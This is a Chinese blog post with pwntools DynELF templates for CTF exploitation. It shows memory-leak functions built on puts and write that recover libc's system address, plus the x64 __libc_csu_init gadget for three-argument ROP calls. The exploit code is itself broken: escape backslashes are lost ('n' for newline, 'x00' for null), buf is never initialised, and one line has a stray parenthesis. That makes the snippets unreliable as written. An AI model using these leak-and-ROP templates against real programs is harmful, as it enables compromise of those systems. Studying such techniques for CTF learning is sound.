美文网首页
pwntools的DynELF模块模板:

pwntools的DynELF模块模板:

作者: cnitlrt | 来源:发表于2020-01-28 11:46 被阅读0次

参考:https://www.anquanke.com/post/id/85129

普通模板

p = process('./xxx')
def leak(address):
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  return data
d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

puts函数

puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含x00截断符,输出就会终止,且会自动将“n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。

为了克服输入不受控这一缺点,我们考虑利用puts函数输出的字符串最后一位为“\n“这一特点,分两种情况来解决。

当后面没有输出时:

def leak(address):
  count = 0
  data = ''
  payload = xxx
  p.send(payload)
  up = ""
  while True:
    c = p.recv(numb=1, timeout=1)
    count += 1
    if up == 'n' and c == "":  
      buf = buf[:-1]
      buf += "x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4]
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

当后面有输出时:

def leak(address):
  count = 0
  data = ""
  payload = xxx
  p.send(payload)
  print p.recvuntil("xxxn"))
  up = ""
  while True:
    c = p.recv(1)
    count += 1
    if up == 'n' and c == "x":
      data = buf[:-1]                     
      data += "x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4] 
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

write函数:

write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)。write函数的优点是可以读取任意长度的内存信息,即它的打印长度只受len参数控制,缺点是需要传递3个参数,特别是在x64环境下,可能会带来一些困扰。

在x64环境下,函数的参数是通过寄存器传递的,rdi对应第一个参数,rsi对应第二个参数,rdx对应第三个参数,往往凑不出类似“pop rdi; ret”、“pop rsi; ret”、“pop rdx; ret”等3个传参的gadget。此时,可以考虑使用__libc_csu_init函数的通用gadget,具体原理请参见文章。简单的说,就是通过__libc_csu_init函数的两段代码来实现3个参数的传递,这两段代码普遍存在于x64二进制程序中,只不过是间接地传递参数,而不像原来,是通过pop指令直接传递参数。

第一段代码如下:

.text:000000000040075A   pop  rbx  #需置为0,为配合第二段代码的call指令寻址
.text:000000000040075B   pop  rbp  #需置为1
.text:000000000040075C   pop  r12  #需置为要调用的函数地址,注意是got地址而不是plt地址,因为第二段代码中是call指令
.text:000000000040075E   pop  r13  #write函数的第三个参数
.text:0000000000400760   pop  r14  #write函数的第二个参数
.text:0000000000400762   pop  r15  #write函数的第一个参数
.text:0000000000400764   retn

第二代代码如下:

.text:0000000000400740   mov  rdx, r13
.text:0000000000400743   mov  rsi, r14
.text:0000000000400746   mov  edi, r15d
.text:0000000000400749   call  qword ptr [r12+rbx*8]

使用完会抬高栈56个字节需要用垃圾数据填充

相关文章

  • pwntools的DynELF模块模板:

    参考:https://www.anquanke.com/post/id/85129 普通模板 puts函数 put...

  • 无libc泄露地址

    用pwntools的DynELF模块来实现 DynELF的基本框架 p = process('./xxx')def...

  • xctf-pwn100

    这道题方法是通过pwntools的DynELF模块来做具体可以参考i春秋里面的这篇文章很详细Linux pwn入门...

  • DynELF

    在没有libc的时候,使用pwntools的DynELF可以来泄露地址leak函数格式 address是需要泄露地...

  • 五_4.泄露libc_XDCTF 2015-pwn20_32

    一道三无的题(无libc无system无/bin/sh) 利用pwntools的DynELF框架(专门解决泄露远程...

  • pwntools_3 ROP模块

    1.首先对某可执行文件创建一个rop对象 预览一下所有属性和方法: 方法raw:手动添加数据 这样rop中添加了1...

  • DynELF

    XMAN的level4,逻辑很简单,可以覆盖返回地址,但是由于没有提供libc,需要用pwntools的DynEL...

  • pwntools

    说明:pwntools 是一款专门用于CTF Exploit的python库,能够很方便的进行本地与远程利用的切换...

  • 在Linux下装载pwntools

    pwntools 含义: pwntools 是一款专门用于CTF Exploit的python库,能够很方便的进行...

  • PWN 基础与函数调用栈

    pwntools pwntools是一个CTF框架和漏洞利用开发库,用Python开发,旨在让使用者简单快速的编写...

网友评论

      本文标题:pwntools的DynELF模块模板:

      本文链接:https://www.haomeiwen.com/subject/znipthtx.html